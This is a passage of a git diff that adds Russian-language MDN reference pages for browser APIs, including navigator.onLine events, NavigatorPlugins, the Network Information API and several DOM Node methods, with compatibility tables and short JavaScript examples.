
Чтобы увидеть изменения в состоянии сети, используйте addEventListener для прослушивания событий window.ononline и window.onoffline, как показано в примере:

+ +
window.addEventListener("offline", function(e) {alert("offline");})
+
+window.addEventListener("online", function(e) {alert("online");})
+
+ +

Совместимость в браузерах

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
свойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка +

Windows: 11 [2]
+ Mac: 14
+ Chrome OS: 13
+ Linux: всегда возвращает true

+ +

Просмотр истории crbug.com/7469

+ 		{{CompatGeckoDesktop(1.9.1)}}  [1]8 [3]{{CompatNo}} [1]5.0.4
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoDesktop(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileBlackBerry
Базовая поддержкаAndroid 2.2 (Неисправность в компоненте WebView, см описание16760){{CompatGeckoMobile(1.9.1)}}  [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}} +

BlackBerry OS 7
+ BlackBerry OS 10

+
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoMobile(29)}}{{CompatUnknown}} {{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Начиная с Firefox 4, и Opera 11.10, браузер возвращает true, когда режим "Работать автономно" отключен, и false, когда он включен, независимо от фактического подключения.

+ +

[2] Более ранние версии Chrome возвращали true неверно, когда вкладка открывается впервые, то он вначале сообщает правильный статус подключения после первого события сети.

+ +

[3] В IE 8 "online" и "offline" события находятся в document.body; Под IE 9 они оба находятся в document.body и window.

+ +

Примечание

+ +

См Online/Offline события для более детального описания этого свойства, а также новых возможностей в автономном режиме,  введенных в Firefox 3.

+ +

Спецификация

+ +

Описана в рабочем проекте HTML 5

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorplugins/index.html b/files/ru/web/api/navigatorplugins/index.html new file mode 100644 index 0000000000..2273585e11 --- /dev/null +++ b/files/ru/web/api/navigatorplugins/index.html @@ -0,0 +1,105 @@ +--- +title: NavigatorPlugins +slug: Web/API/NavigatorPlugins +translation_of: Web/API/NavigatorPlugins +--- +

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

+ +

Интерфейс NavigatorPlugins содержит методы и свойства, связанные с установленными плагинами в браузере.

+ +

NavigatorPlugins не содержит в себе объектов другово типа, но другие интерфейсы, такие как {{domxref("Navigator")}} реализуют его.

+ +

Свойства

+ +
+
{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает {{domxref("MimeTypeArray")}} листинг MIME типов поддерживаемые браузером.
+
{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает листинг плагинов {{domxref("PluginArray")}}, установленных в браузере.
+
+ +

Методы

+ +

Интерфейс NavigatorPlugins не наследует никаких методов.

+ +
+
{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}
+
Возвращает флаг {{domxref("Boolean")}} показывающий включен ли java в браузере или нет.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}{{Spec2('HTML WHATWG')}}Начальное определение
+ +

Доступность в браузерах

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/navigatorplugins/javaenabled/index.html b/files/ru/web/api/navigatorplugins/javaenabled/index.html new file mode 100644 index 0000000000..742f650c2c --- /dev/null +++ b/files/ru/web/api/navigatorplugins/javaenabled/index.html @@ -0,0 +1,28 @@ +--- +title: NavigatorPlugins.javaEnabled() +slug: Web/API/NavigatorPlugins/javaEnabled +translation_of: Web/API/NavigatorPlugins/javaEnabled +--- +

{{ APIRef("HTML DOM") }}

+ +

Этот метод показывает включен ли java в текущем браузере или нет.

+ +

Синтаксис

+ +
result = window.navigator.javaEnabled()
+
+ +

Пример

+ +
if (window.navigator.javaEnabled()) {
+   // browser has java
+}
+
+ +

Примечание

+ +

Возвращаемое значение этого метода показывает положение java, включен ли или выключен - не предполагает поддержку java браузером полностью.

+ +

Спецификация

+ +

Не является частю какой-либо спецификации.

diff --git a/files/ru/web/api/navigatorplugins/mimetypes/index.html b/files/ru/web/api/navigatorplugins/mimetypes/index.html new file mode 100644 index 0000000000..d5ebe43956 --- /dev/null +++ b/files/ru/web/api/navigatorplugins/mimetypes/index.html @@ -0,0 +1,39 @@ +--- +title: NavigatorPlugins.mimeTypes +slug: Web/API/NavigatorPlugins/mimeTypes +translation_of: Web/API/NavigatorPlugins/mimeTypes +--- +
{{ ApiRef("HTML DOM") }}
+ +
 
+ +

Резюме

+ +

Возвращает объект {{domxref("MimeTypeArray")}}, который содержит список объектов {{domxref("MimeType")}}, представляющий собой MIME-типы, известные браузеру.

+ +

Синтаксис

+ +
mimeTypes = navigator.mimeTypes;
+
+ +

mimeTypes - объект MimeTypeArray, который имеет свойство length, а также методы item(index) и namedItem(name).

+ +

Примеры

+ +
function isJavaPresent() {
+  return 'application/x-java-applet' in navigator.mimeTypes;
+}
+
+function getJavaPluginDescription() {
+  var mimetype = navigator.mimeTypes['application/x-java-applet'];
+  if (mimetype === undefined) {
+    // no Java plugin present
+    return undefined;
+  }
+  return mimetype.enabledPlugin.description;
+}
+
+ +

Спецификация

+ +

Не является частью какой-либо спецификации.

diff --git a/files/ru/web/api/navigatorplugins/plugins/index.html b/files/ru/web/api/navigatorplugins/plugins/index.html new file mode 100644 index 0000000000..bf9b5bebda --- /dev/null +++ b/files/ru/web/api/navigatorplugins/plugins/index.html @@ -0,0 +1,63 @@ +--- +title: NavigatorPlugins.plugins +slug: Web/API/NavigatorPlugins/plugins +translation_of: Web/API/NavigatorPlugins/plugins +--- +

{{APIRef("HTML DOM")}}

+ +

Возвращает объект {{domxref("PluginArray")}}, список плагинов установленых в приложении.

+ +
Приложения, которые должны проверять наличие плагинов у браузера должны запросить navigator.plugins или {{domxref("navigator.mimeTypes")}} с точным названием плагина, а не перебирать массив navigator.plugins сравненивая имя каждого плагина. Это изменение конфиденциальности не отключает все плагины; оно просто скрывает некоторые имена плагинов от перебора.
+ +

Синтаксис

+ +
var plugins = navigator.plugins;
+
+ +

plugins используется для доступа к объекту {{domxref("Plugin")}} или по имени, или как элемент массива..

+ +

Возвращаемое значение не массив JavaScript, но оно имеет свойство размера и поддерживает доступ к индивидуальным элементам с использованием квадратных скобок (plugins{{mediawiki.external(2)}}), а также через пункт (индекс) и namedItem ("Name") методы.

+ +

Примеры

+ +

Следующий пример функции возвращает версию Flash.

+ +
function getFlashVersion() {
+  var flash = navigator.plugins['Shockwave Flash'];
+  if (flash === undefined) {
+    // flash is not present
+    return undefined;
+  }
+  return flash.version;
+}
+
+ +

Следующий пример выводит информацию об установленном(ых) плагине (ах) для документа высокого уровня.

+ +
var L = navigator.plugins.length;
+
+document.write(
+  L.toString() + " Plugin(s)<br>" +
+  "Name | Filename | description<br>"
+);
+
+for(var i = 0; i < L; i++) {
+  document.write(
+    navigator.plugins[i].name +
+    " | " +
+    navigator.plugins[i].filename +
+    " | " +
+    navigator.plugins[i].description +
+    " | " +
+    navigator.plugins[i].version +
+    "<br>"
+  );
+}
+ +

Примечание

+ +

{{domxref("Plugin")}} объект, предоставляет небольшой интерфейс для получения информации о различных плагинах, установленных в вашем браузере. Список плагинов также доступен если ввести about:plugins в адресную строку браузера.

+ +

Спецификация

+ +

Не определено ни к какой спецификации.

diff --git a/files/ru/web/api/network_information_api/index.html b/files/ru/web/api/network_information_api/index.html new file mode 100644 index 0000000000..235567b5e4 --- /dev/null +++ b/files/ru/web/api/network_information_api/index.html @@ -0,0 +1,87 @@ +--- +title: Network Information API +slug: Web/API/Network_Information_API +translation_of: Web/API/Network_Information_API +--- +
{{DefaultAPISidebar("Network Information API")}}{{SeeCompatTable}}
+ +

API Network Information позволяет определить тип интернет-подключения системы ('wifi',  'cellular' и т.д.). Эту информацию можно использовать, к примеру, для того, чтобы предоставлять контент большего либо меньшего разрешения в зависимости от качества соединения. Весь API состоит из интерфейса {{domxref("NetworkInformation")}}, добавленного в глобальный объект {{domxref("Navigator")}} как свойство {{domxref("Navigator.connection")}}.

+ +

{{AvailableInWorkers}}

+ +

Примеры

+ +

Определение изменения соединения

+ +

Данный пример отслеживает изменение подключения пользователя.

+ +
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+var type = connection.effectiveType;
+
+function updateConnectionStatus() {
+  console.log("Connection type changed from " + type + " to " + connection.effectiveType);
+  type = connection.effectiveType;
+}
+
+connection.addEventListener('change', updateConnectionStatus);
+
+ +

Предварительная загрузка крупных ресурсов

+ +

The connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory. This example would be called soon after page load to check for a connection type where preloading a video may not be desirable. If a cellular connection is found, then the preloadVideo flag is set to false. For simplicity and clarity, this example only tests for one connection type. A real-world use case would likely use a switch statement or some other method to check all of the possible values of {{domxref("NetworkInformation.type")}}. Regardless of the type value you can get an estimate of connection speed through the {{domxref("NetworkInformation.effectiveType")}} property.

+ +
let preloadVideo = true;
+var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+if (connection) {
+  if (connection.effectiveType === 'slow-2g') {
+    preloadVideo = false;
+  }
+}
+ +

Интерфейсы

+ +
+
{{domxref("NetworkInformation")}}
+
Даёт возможность получить информацию о сетевом соединении, а также возможность получать события при изменении типа соединения. Невозможно создавать экземпляры данного интерфейса, для получения доступа используйте {{domxref("Navigator")}}.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Network Information', '', 'Network Information API')}}{{Spec2('Network Information')}}Изначальная спецификация.
+ +

Совместимость

+ +

NetworkInformation

+ + + +

{{Compat("api.NetworkInformation")}}

+ + + + + +

{{Compat("api.Navigator.connection")}}

+ +

See also

+ + diff --git a/files/ru/web/api/networkinformation/connection/index.html b/files/ru/web/api/networkinformation/connection/index.html new file mode 100644 index 0000000000..607101a911 --- /dev/null +++ b/files/ru/web/api/networkinformation/connection/index.html @@ -0,0 +1,100 @@ +--- +title: NetworkInformation.connection +slug: Web/API/NetworkInformation/connection +translation_of: Web/API/Navigator/connection +--- +

{{ apiref("Network Information API") }}

+ +

{{ SeeCompatTable() }}

+ +

NetworkInformation.connection свойство только для чтения представляющее собой {{domxref("Connection")}} содержащий информацию о системном подключении, таких как текущая пропускная способность пользовательского устройства или определено ли соеденение. Это может быть использовано для выбора контента высокой плотности или контента низкой плотности в соединении пользователя.

+ +

Синтаксис

+ +
connectionInfo = navigator.connection
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{ SpecName('Network Information', '#h-the-connection-attribute', 'NetworkInformation.connection') }}{{ Spec2('Network Information') }}Первоначальная спецификация.
+ +

Доступность в браузере

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatNo() }}12.0
+ behind the flag		{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Базовая поддержка2.2 {{ property_prefix("webkit") }}12.01.4{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

Заметка для Gecko

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/networkinformation/index.html b/files/ru/web/api/networkinformation/index.html new file mode 100644 index 0000000000..a19e2ba12a --- /dev/null +++ b/files/ru/web/api/networkinformation/index.html @@ -0,0 +1,107 @@ +--- +title: NetworkInformation +slug: Web/API/NetworkInformation +translation_of: Web/API/NetworkInformation +--- +

{{APIRef("Network Information API")}}{{SeeCompatTable}}

+ +

Интерфейс NetworkInformation содержит методы и свойства, связанные с типом сети браузера.

+ +

В нем нет объектов типа  NetworkInformation, но другие интерфейсы, такие как {{domxref("Navigator")}}, реализуют его.

+ +

Свойства

+ +

Интерфейс NetworkInformation не наследует других свойств.

+ +
+
{{domxref("NetworkInformation.connection")}} {{readonlyInline}}
+
{{domxref("Connection")}} предоставляет информацию о сетевом соединении устройства.
+
+ +

Методы

+ +

Интерфейс NetworkInformation ничего не предоставляет и не наследует других методов.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{ SpecName('Network Information', '#idl-def-NetworkInformation', 'NetworkInformation') }}{{ Spec2('Network Information') }}Изначальная спецификация
+ +

Доступность в браузерах

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
базовая поддержка20? {{ property_prefix("webkit") }}12.0 {{ property_prefix("moz") }} (see notes){{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatNo() }}12.0 {{ property_prefix("moz") }} (see notes){{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

Заметки для Gecko

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/node.replacechild/index.html b/files/ru/web/api/node.replacechild/index.html new file mode 100644 index 0000000000..6d69392c57 --- /dev/null +++ b/files/ru/web/api/node.replacechild/index.html @@ -0,0 +1,64 @@ +--- +title: Node.replaceChild +slug: Web/API/Node.replaceChild +tags: + - API + - DOM + - DOM Elements Method + - Gecko + - Method + - Node +translation_of: Web/API/Node/replaceChild +--- +
+ {{ApiRef}}
+

Аннотация

+

Заменяет дочерний элемент на выбранный. Возвращает замененный элемент.

+

Синтаксис

+
replacedNode = parentNode.replaceChild(newChild, oldChild);
+
+ +

Пример

+
// <div>
+//  <span id="childSpan">foo bar</span>
+// </div>
+
+// Создаем новый пустой элемент
+// without an ID, any attributes, or any content
+var sp1 = document.createElement("span");
+
+// Присваиваем ему id 'newSpan'
+sp1.setAttribute("id", "newSpan");
+
+// Создаем строку.
+var sp1_content = document.createTextNode("new replacement span element.");
+
+// Добавляем контент в созданный нами узел
+sp1.appendChild(sp1_content);
+
+// создаем ссылку на существующий элемент который будем заменять
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// заменяем существующий элемент sp2 на созданный нами sp1
+parentDiv.replaceChild(sp1, sp2);
+
+// Результат:
+// <div>
+//   <span id="newSpan">new replacement span element.</span>
+// </div>
+
+

Спецификация

+ +

См. также

+ diff --git a/files/ru/web/api/node/appendchild/index.html b/files/ru/web/api/node/appendchild/index.html new file mode 100644 index 0000000000..50af4e38da --- /dev/null +++ b/files/ru/web/api/node/appendchild/index.html @@ -0,0 +1,60 @@ +--- +title: Node.appendChild +slug: Web/API/Node/appendChild +tags: + - API + - DOM + - DOM Element Mehods + - Method + - WebAPI +translation_of: Web/API/Node/appendChild +--- +

Аннотация

+ +

Node.appendChild() добавляет узел в конец списка дочерних элементов указанного родительского узла. Если данный дочерний элемент является ссылкой на существующий узел в документе, то функция appendChild() перемещает его из текущей позиции в новую позицию (нет необходимости удалять узел из родительского узла перед добавлением его к какому-либо другому узлу).

+ +

Это означает, что узел не может находиться в двух точках документа одновременно. Поэтому, если у узла уже есть родитель, он сначала удаляется, а затем добавляется в новую позицию. {{domxref("Node.cloneNode()")}} можно использовать для создания копии узла перед добавлением его в новый родительский элемент. Обратите внимание, что копии, сделанные с помощью cloneNode , не будут автоматически синхронизироваться.

+ +

Если данный дочерний элемент является {{domxref("DocumentFragment")}}, то все содержимое {{domxref("DocumentFragment")}} перемещается в дочерний список указанного родительского узла.

+ +

Синтаксис

+ +
var child = element.appendChild(child);
+ + + +

Возвращаемое значение

+ +

Возвращается дочерний элемент (aChild), кроме тех случаев, когда child это {{domxref("DocumentFragment")}}, в таком случае возвращается пустой {{domxref("DocumentFragment")}}.

+ +

Примечание

+ +

Цепочка может работать не так, как ожидалось, из-за того, что appendChild() возвращает дочерний элемент:

+ +
let aBlock = document.createElement('block').appendChild( document.createElement('b') );
+ +

Присваивает переменной aBlock элемент <b></b>, а не <block></block>, как вы могли ожидать.

+ +

Пример

+ +
// Создаем новый элемент параграфа, и вставляем в конец document body
+var p = document.createElement("p");
+document.body.appendChild(p);
+ +

Спецификация

+ + + +

См. также

+ + diff --git a/files/ru/web/api/node/baseuri/index.html b/files/ru/web/api/node/baseuri/index.html new file mode 100644 index 0000000000..fad808069b --- /dev/null +++ b/files/ru/web/api/node/baseuri/index.html @@ -0,0 +1,62 @@ +--- +title: Node.baseURI +slug: Web/API/Node/baseURI +translation_of: Web/API/Node/baseURI +--- +
+
{{APIRef("DOM")}}
+
+ +

 Свойство Node.baseURI только для чтения, возвращающее абсолютный базовый URL узла.

+ +

Базовый URL используется для разрешения относительных URLs, когда браузеру  нужно получить абсолютный URL, например, когда обрабатывает элемент HTML {{HTMLElement("img")}}, src атрибут или XML xlink:href атрибут.

+ +

В самом простом случае, базовывый URL это просто местонахождение документа, но это может зависеть от многих факторов, включая элемент {{HTMLElement("base")}} в HTML и атрибут xml:base в XML.

+ +

Синтаксис

+ +
var baseURI = node.baseURI;
+
+ + + +

Подробности

+ +

Базовый URL документа

+ +

Базовый URL документа по умолчанию, адрес документа (как отображено в браузере и доступно в {{domxref("window.location")}}), но может измениться по умолчанию:

+ + + +

Смотрите Раздел базовый URLs в действующем стандарте HTML для уточнения деталей.

+ +

Вы можите использовать {{domxref("document")}}.baseURI для получения базового URL документа. Заметим, что получение базового URL для документа, может возвращать различные URLs в течение долгого времени, если {{HTMLElement("base")}} теги или местонахождение документа изменилось.

+ +

Базовый URL элемента

+ +

Базовый URL элемента в HTML обычно равен базовому URL документу узла.

+ +

Если документ содержит атрибуты xml:base (которые вы не должны использовать в документах HTML), element.baseURI принимает во внимание xml:base атрибуты родительского элемента, когда вычисляет базовый URL. Для уточнения деталей смотрите xml:base.

+ +

Вы можите использовать {{domxref("element")}}.baseURI для получения базового URL of элемента.

+ +

Спецификация

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/node/baseuriobject/index.html b/files/ru/web/api/node/baseuriobject/index.html new file mode 100644 index 0000000000..b4d34efb85 --- /dev/null +++ b/files/ru/web/api/node/baseuriobject/index.html @@ -0,0 +1,25 @@ +--- +title: Node.baseURIObject +slug: Web/API/Node/baseURIObject +translation_of: Web/API/Node +--- +
{{APIRef("DOM")}} {{Non-standard_header}}
+ +

Свойство Node.baseURIObject возвращает {{Interface("nsIURI")}} представляющий базовый URL узла (обычно документ или элемент). Это похоже на {{domxref("Node.baseURI")}}, за исключением того, что возвращает nsIURI вместо строки.

+ +

Это свойство существует на всех узлах (HTML, XUL, SVG, MathML, и т.д.), но только если скрипт пытается использовать его имея привилегии UniversalXPConnect.

+ +

Смотрите {{domxref("Node.baseURI")}} для уточнения деталей что такое базовый URL.

+ +

Синтаксис

+ +
uriObj = node.baseURIObject
+
+ +

Примечания

+ +

Это свойство только для чтения; попытка записать информацию в него, будет сбрасывать исключения. Кроме того, это свойство может быть доступно только для привилегированного кода.

+ +

Спецификация

+ +

Нет какой-либо спецификации.

diff --git a/files/ru/web/api/node/childnodes/index.html b/files/ru/web/api/node/childnodes/index.html new file mode 100644 index 0000000000..f66b7060b8 --- /dev/null +++ b/files/ru/web/api/node/childnodes/index.html @@ -0,0 +1,68 @@ +--- +title: Node.childNodes +slug: Web/API/Node/childNodes +translation_of: Web/API/Node/childNodes +--- +
+
{{APIRef("DOM")}}
+ +
Доступный для чтения аттрибут Node.childNodes возвращает коллекцию дочерних элементов данного элемента.
+
+ +

Синтаксис

+ +
var ndList = elementNodeReference.childNodes;
+
+ +

ndList -- упорядоченная коллекция объектов элементов, которые являются детьми данного элемента. Если у элемента нет детей, ndList пуст.

+ +

ndList -- переменная, хранящая список дочерних элементов. Тип этого списка --  {{domxref("NodeList")}}.

+ +

Пример

+ +
// parg -- ссылка на элемент <p>
+
+if (parg.hasChildNodes()) {
+  // Таким образом, сначала мы проверям, не пуст ли объект, есть ли у него дети
+  var children = parg.childNodes;
+
+  for (var i = 0; i < children.length; ++i) {
+    // сделать что-то с каждым внутренним элементом через children[i]
+    // ЗАМЕТКА: Список является ссылкой, Добавление или удаление дочерних элементов изменит список
+  }
+}
+ +
+
// Это один из способов удалить все дочерние элементы из элемента
+// box -- ссылка на элемент с детьми
+
+while (box.firstChild) {
+    //Список является ссылкой, то есть он будет переиндексирован перед каждым вызовом
+    box.removeChild(box.firstChild);
+}
+ +

Заметки

+ +

Элементы в коллекции -- объекты, а не строки. Чтобы получить данные из этих объектов, вы должны использовать их свойства (например, elementNodeReference.childNodes[1].nodeName чтобы получить имя, и т. д.).

+ +

Объект document обладает 2-мя детьми: декларацией Doctype и корневым элементов, к которому как правило обращаются как documentElement. (В (X)HTML документах это HTML-элемент.)

+ +

childNodes также включают, например, текстовые узлы и комментарии. Чтобы пропустить их, используйте {{ domxref("ParentNode.children") }} взамен.

+ +

Спецификация

+ + + +

См. также

+ + diff --git a/files/ru/web/api/node/clonenode/index.html b/files/ru/web/api/node/clonenode/index.html new file mode 100644 index 0000000000..5f1f77d5ed --- /dev/null +++ b/files/ru/web/api/node/clonenode/index.html @@ -0,0 +1,135 @@ +--- +title: Node.cloneNode() +slug: Web/API/Node/cloneNode +translation_of: Web/API/Node/cloneNode +--- +
{{APIRef("DOM")}}
+ +

Метод Node.cloneNode() возвращает дубликат узла, из которого этот метод был вызван.

+ +

Синтаксис

+ +
var dupNode = node.cloneNode(deep);
+
+ +
+
node
+
Узел, который будет клонирован.
+
dupNode
+
Новый узел, который будет клоном node
+
deep {{optional_inline}}
+
true, если дети узла должны быть клонированы или false для того, чтобы был клонирован только указанный узел.
+
+ +
+

Примечание: в спецификации DOM4 (как реализовано в Gecko 13.0 {{geckoRelease(13)}}), deep необязательный аргумент. Если он опущен, метод действует как если бы значение deep было true, по умолчанию используется глубокое клонирование. Для создания поверхностного клонирования, deep должен быть установлен как false.

+ +

Это поведение было изменено в последней спецификации, и если опущено значение, метод будет действовать как если бы deep было false. Хотя, это все еще не обязательно, вы всегда должны обеспечить агрументом deep, для прямой и обратной совместимости. С Gecko 28.0 {{geckoRelease(28)}}), консоль предупреждает разработчиков не опускать аргумент. Начиная с Gecko 29.0 {{geckoRelease(29)}}), поверхностный клон, по умолчанию, вместо глубокого клона.

+
+ +

Пример

+ +
    var p = document.getElementById("para1");
+    var p_prime = p.cloneNode(true);
+
+ +

Примечание

+ +

Клонирование узлов копирует все атрибуты и их значения, в том числе собственных (в линию) перехватчиков. Это не копирует пререхватчики событий, добавленных используя addEventListener() или тех что назначены через свойства элемента (т.е node.onclick = fn).

+ +

Дубликат узла, возвращенного cloneNode() не является частью документа, пока не будет добавлен в другой узел, который является частью документа, используя {{domxref("Node.appendChild()")}} или другой метод. Кроме того, не имеет родителя, пока не будет добавлен к другому узлу.

+ +

Если deep установлен как false, дочерние узлы не клонируются. Любой текст, который содержит узел также не клонируется, как и содержащийся в одном или более дочернем узле {{domxref("Text")}}.

+ +

Если deep установлено как true, все поддеревья (включая текст, который может быть потомком узла {{domxref("Text")}}) копируется тоже. Для пустых узлов (т.е {{HTMLElement("img")}} и {{HTMLElement("input")}} элементов) это не имеет значения установлен ли deep как true или false.

+ +
Внимание: cloneNode() может привести к дублированию идентфикаторов элементов в документе.
+ +

Если исходный узел имеет идентификатор и клон размещен в том же документе, идентификатор должен быть изменен, для того что бы быть уникальным. Имя атрибута также может нуждаться в изменении, в зависимости от будущего имени дубликата.

+ +

Чтобы клонировать узел для добавления к другому документу используйте {{domxref("Document.importNode()")}} вместо этого.

+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
deep как необязательный параметр +

Yes

+ +

(По умолчанию false)

+ 		{{CompatGeckoDesktop("13.0")}}{{CompatVersionUnknown}}{{CompatUnknown}} +

Yes

+ +

(По умолчанию false)

+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
deep как необязательный параметр{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("13.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Спецификации

+ + diff --git a/files/ru/web/api/node/comparedocumentposition/index.html b/files/ru/web/api/node/comparedocumentposition/index.html new file mode 100644 index 0000000000..0be1dac540 --- /dev/null +++ b/files/ru/web/api/node/comparedocumentposition/index.html @@ -0,0 +1,89 @@ +--- +title: Node.compareDocumentPosition +slug: Web/API/Node/compareDocumentPosition +translation_of: Web/API/Node/compareDocumentPosition +--- +

{{ ApiRef() }}

+

Аннотация

+

Сравнивает позицию текущего узла и другого узла в любом другом документе.

+

Синтаксис

+
node.compareDocumentPosition( otherNode )
+
+ +

Возвращаемое значение вычисляется как отношение, которое имеется между otherNode и node.

+

Примечание

+

Возвращаемое значение - это битовая маска со следующими значениями:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ИмяЗначение
DOCUMENT_POSITION_DISCONNECTED1
DOCUMENT_POSITION_PRECEDING2
DOCUMENT_POSITION_FOLLOWING4
DOCUMENT_POSITION_CONTAINS8
DOCUMENT_POSITION_CONTAINED_BY16
DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC32
+

Пример

+
var head = document.getElementsByTagName('head').item(0);
+if (head.compareDocumentPosition(document.body) & Node.DOCUMENT_POSITION_FOLLOWING) {
+  console.log("well-formed document");
+} else {
+  console.log("<head> is not before <body>");
+}
+
+
+

Замечание: Из-за того, что результат, возвращаемый compareDocumentPosition, является битовой маской, побитовый оператор и должен использоваться для осмысленных значений.

+
+

Спецификации

+ + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
DOM Level 3Рекомендация 
DOM StandardЖивой стандарт 
+

Смотрите также

+ +

{{ languages( {"ru-ru": "ru-ru/DOM/Node.compareDocumentPosition" } ) }}

diff --git a/files/ru/web/api/node/contains/index.html b/files/ru/web/api/node/contains/index.html new file mode 100644 index 0000000000..23e8e561c7 --- /dev/null +++ b/files/ru/web/api/node/contains/index.html @@ -0,0 +1,63 @@ +--- +title: Node.contains +slug: Web/API/Node/contains +tags: + - API + - DOM + - Method + - Node +translation_of: Web/API/Node/contains +--- +
{{APIRef("DOM")}}
+ +
Метод Node.contains() возвращает {{jsxref ("Boolean")}} значение, указывающее, является ли узел потомком данного узла, т. е. сам узел, один из его прямых потомков ({{domxref ("Node. childNodes "," childNodes ")}}), один из детей его детей и так далее.
+ +

Синтаксис

+ +
node.contains( otherNode )
+
+ + + +

Пример

+ +

Эта функция проверяет, находится ли элемент в теле страницы.

+ +
function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}{{Spec2("DOM WHATWG")}}Initial definition
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Node.contains")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/node/firstchild/index.html b/files/ru/web/api/node/firstchild/index.html new file mode 100644 index 0000000000..b17ea4fb29 --- /dev/null +++ b/files/ru/web/api/node/firstchild/index.html @@ -0,0 +1,55 @@ +--- +title: Node.firstChild +slug: Web/API/Node/firstChild +translation_of: Web/API/Node/firstChild +--- +
+
{{APIRef("DOM")}}
+
+ +

Свойство Node.firstChild только для чтения, возвращающее первый потомок узла в древе или null, если узел является бездетным. Если узел это документ, он возвращает первый узел в списке своих прямых детей.

+ +

Синтаксис

+ +
var childNode = node.firstChild;
+
+ +

Описание

+ +

childNode это ссылка на первый потомок node, если таковой имеется, в противном случае это null.

+ +

Пример

+ +

Этот пример демонстрирует использование firstChild и как этому свойству могут мешать пробелы. Смотрите раздел {{ Anch("Notes") }} для получения дополнительной информации о обработке пробелов в Gecko DOM.

+ +
<p id="para-01">
+  <span>First span</span>
+</p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+</script>
+ +

